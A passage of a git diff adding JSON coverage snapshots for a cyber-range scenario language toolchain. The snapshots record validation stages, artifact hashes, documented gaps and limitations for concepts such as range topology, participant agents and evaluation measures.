retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "d1be26cafc51e38cc50d804164ecc582b4ec79ea177613ce3a7114732549f62e", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "ac398361f8121d702635ca8839ab53f27ac1ed03d6bc61d6df5888c88720c652", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "04b807cb977006b6ae420958db1df21d911b9635b262d9d5c26d4f2023675b73", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "c7eb71ea701eab0394b16181954590225f15d781", + "snapshot_id": "raes-standardized-specification-coverage-issue-1183-v31", + "snapshot_revision": "31.0.0", + "source_state": { + "base_revision": "c7eb71ea701eab0394b16181954590225f15d781", + "checkout_state": "modified", + "implementation_digest": "21a7e470b979d2fd7feb721af31af7106754645eaaca78b8aadb4415959b46fc", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v32.json b/docs/research/specification-coverage/execution-snapshot-v32.json new file mode 100644 index 000000000..a74d4eb6d --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v32.json @@ -0,0 +1,694 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-18T07:10:15+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": 